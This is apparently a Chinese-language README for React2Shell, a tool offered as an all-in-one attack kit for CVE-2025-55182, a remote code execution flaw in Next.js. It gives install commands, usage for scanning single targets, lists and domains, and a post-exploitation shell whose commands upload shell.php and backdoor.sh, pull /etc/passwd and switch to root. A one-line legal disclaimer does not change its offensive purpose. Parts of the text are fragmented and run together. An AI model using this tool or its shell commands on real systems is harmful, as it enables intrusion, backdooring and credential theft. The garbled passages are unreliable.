针对 CVE-2025-55182(Next.js 远程代码执行)的高级漏洞利用框架
作者: opsecramdan
React2Shell 是一个漏洞利用框架,用于识别和利用基于 Next.js 应用中的 CVE-2025-55182 漏洞。
该工具被设计为 一体化攻击工具包,涵盖:
该漏洞利用了 Next.js 的内部机制,方式如下:
/login?a=)泄漏结果//api/api/auth/_next/admin/dashboardsudo -i 执行安装依赖: pip install requests dnspython
git clone https://github.com/yourusername/react2shell-cve-2025-55182.git
cd react2shell-cve-2025-55182
python3 react2shell.py
python3 react2shell.py -u https://target.com
不带协议:
python3 react2shell.py -u target.com
python3 react2shell.py -f targets.txt
targets.txt 内容示例:
https://target1.com http://target2.com:3000 target3.com
python3 react2shell.py -d example.com
流程:
python3 react2shell.py -d example.com -w wordlist.txt
python3 react2shell.py -d example.com --debug
漏洞利用成功后,你将获得 Shell 访问权限。
whoami
id
uname -a
pwd
ls -lah
| 命令 |
|---|
.upload shell.php /tmp/shell.php
.download /etc/passwd
.create /tmp/test.txt
python3 react2shell.py -d example.com
whoami
.upload backdoor.sh /tmp/backdoor.sh
该工具将生成:
如果成功利用:
此工具仅用于:
禁止用于非法活动。
该项目展示了:
| 描述 |
|---|
| .root | 切换 Root 模式 |
| .upload | 上传文件到目标 |
| .download | 从目标下载文件 |
| .create | 在目标上创建文件 |
| .save | 将输出保存到本地文件 |
| .exit | 退出 Shell |